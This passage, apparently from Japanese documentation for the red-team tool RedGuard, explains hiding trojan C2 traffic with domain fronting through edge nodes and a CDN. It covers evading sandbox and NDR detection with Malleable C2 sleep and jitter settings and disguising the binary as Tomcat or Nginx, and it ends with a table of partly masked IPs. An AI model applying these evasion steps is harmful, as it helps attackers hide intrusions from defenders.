EdgeHostは、クラウドサービスプロバイダーのドメインフロントエンドで使用するドメイン名であり、RGエッジノードがCDNノードを介してC2とインタラクションする際に使用するドメイン名でもあります。そう、RGは正当なリクエストのHOSTドメイン名を変更し、正常に通信可能なクラウドサービスCDNドメイン名に変更します。
EdgeTargetは内部ネットワークインタラクション用のドメイン名であり、矢印1と同じである必要があります。このドメイン名でHOSTに設定されたリクエストトラフィックのみが正当とみなされ、RGはさらにクラウドサービスCDNドメイン名に変更して後続の通信を行います。
**ここでまとめます：**
つまり、エッジノードと内部ネットワークのホスト間のインタラクションは、設定された内部ネットワークドメイン名を介して行われます。トロイの木馬がRGのエッジノードにリクエストを送信すると、リクエストトラフィックのHOSTが設定ファイルで設定された内部ネットワークドメイン名であるかどうかを判断します。条件に一致すれば正当とみなされ、RGはHOSTをEdgeHostで設定されたクラウドサービスプロバイダーCDNドメイン名に変更し、後続の通信を行い、トラフィックをC2サーバーに転送します。これにより、リンク全体の完全な隠蔽と高い難読化が実現します。内部ネットワークドメイン名がエッジノードと内部ネットワークドメイン名でインタラクションする一方、エッジノードは実際のプロキシアドレスとインタラクションHOSTをさらに変更し、2つのホスト間で非対称のインタラクション情報を実現し、追跡をより困難にし、調査を難しくします。
**エッジノードと内部ネットワークホスト間のインタラクショントラフィック（上図参照）**
このアプローチのもう1つの利点は、クラウドサンドボックス環境では、インタラクションIPが内部ネットワークに合わせてカスタマイズされているため、サンドボックスが分析中に内部ネットワークIPの接続性相関分析を実行できないことです。
設定時の注意点は、トロイの木馬のリクエストのHOSTを以下のようにすることです：
- **HOST: 内部ネットワークドメイン名（RG設定ファイルで設定）**
- **IP: エッジホストの内部ネットワークIP**
- **オンラインポート: 443（RG設定ファイルのhttp(s)リスニングポートと一致）**
- **リスニングポート: C2が実際にオンラインになっているポート**
C2リスナーの設定は以下の通りです：
リクエストとは対照的に、C2リスナーのHOSTはクラウドサービスプロバイダーのCDNドメイン名にします。最終的にトラフィックがC2サーバーに転送されれば問題ありません。
内部ネットワークノードのインタラクショントラフィック（下図参照）。DMZエリアの内部ネットワークIPが通常通りポート443にアクセスしていることがわかります。内部ネットワークサーバーやPCがDMZエリアのビジネスシステムに接続していることは驚くことではありません。
エッジホストのインタラクショントラフィックを図に示します。実際のシナリオでは、大量のTIME_WAITは発生しません。ここでは、テストのためにハートビートパケットのスリープを0に設定しています。実際のシナリオでは、ハートビートパケットのジッタとスリープ時間をより大きく設定する方が安全です。また、実際のシナリオではHTTPトラフィックは使用されないと思います。プレーンテキストトラフィックは時間の無駄ではありませんか？そのため、通常このポートは開かれません。RGのファイル名をTomcat、Apache、Nginxなどに変更し、インタラクションをよりわかりにくくします。
ハートビートパケットのジッタとスリープ時間については、Malleable C2 Profileファイルで以下のフィールドを簡単に設定できます。```bash
set sleeptime "3000";
set jitter "20";
設定しない場合、異常なハートビートパケットアラームが表示される可能性があります。もちろん、ほとんどの場合、研究者はそれを誤警報とみなし無視します。しかし、安全性を考慮すると、異常なハートビートパケットアラームを引き起こさないように設定することをお勧めします。当時、360 NDR機器でテストされ、具体的な効果は以下の通りです。
HTTPSトラフィックに関しては、市場にあるどのトラフィック監視装置もトラフィックを検閲できません。現在の監視装置は基本的に機密語のマッチングです。あるメーカーの機器データパケット検出コンテストでも、平文パケットの使用が求められており、実際の戦闘シナリオでRTが本当に平文トラフィックとやり取りするのか疑問に思わせます。前述の非対称なインタラクティブ情報に加えて、この方法の最大の利点は、RGノードをエッジノードに配置してフロントエンドのトラフィック制御を実現し、通常のRGと同じ機能効果を持たせることです。
RGノードのバックエンドノードはCDNノードに変換され、C2サーバーに転送されます。従来のシナリオでは、ドメインのフロントエンドノードはすべて第一層のリクエストノードとして使用され、エッジホストはRG後にオンラインになります。DMZエリアの業務システムとパブリックネットワークのCDN IPとの間のやり取りも非常に調和がとれています。このプロセスでは、内部ネットワークホストもエッジホストもC2と直接やり取りしません。これもこの高度な隠蔽技術の優雅さです。
もちろん、netshやiptablesプロキシ転送に対する前述の利点に加えて、シンプルな設定と設定記録が残らないことも利点の一つです。
ご支援ありがとうございます。RedGuardは引き続き改良・更新を行います。RedGuardがより多くのセキュリティ実務者に知られることを願っています。本ツールはRedWardenの設計思想を参考にしています。
皆様のご要望をお待ちしております。RedGuardはそれらのご要望の中で成長し、改善され続けます！
開発者 风起 関連記事：https://www.anquanke.com/member.html?memberId=148652
2022年 Kcon ハッカーカンファレンス ウェポンスペクトラム著者
第10回ISCインターネットセキュリティカンファレンス アドバンスト攻防フォーラム「C2フロントフロー制御」テーマ
境界ノードリンクに基づくC2トラフィック交換
https://www.anquanke.com/post/id/278140
クラウドサンドボックストラフィック識別技術の分析
https://www.anquanke.com/post/id/277431
JARMフィンガープリントランダム化技術の実現
https://www.anquanke.com/post/id/276546
C2インフラストラクチャ脅威インテリジェンス対策
Kunyu: https://github.com/knownsec/Kunyu
風は青萍の末に起こり、浪は微瀾の間に成る。
ご質問やご要望がございましたら、プロジェクトのIssueを提出するか、開発者にWeChatを追加してご連絡ください。
| IP | ポート | プロトコル | サービス | 国 | 都市 | タイトル | 時間 |
|---|
| 103.211.xx.90 | 443 | https | Apache httpd | 中国 | 蘇州 | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | 中国 | 徐州 | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | 中国 | 徐州 | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | 中国 | 徐州 | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | 中国 | 405 Not Allowed | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | 中国 | 徐州 | 403 Forbidden | 2023-08-28 |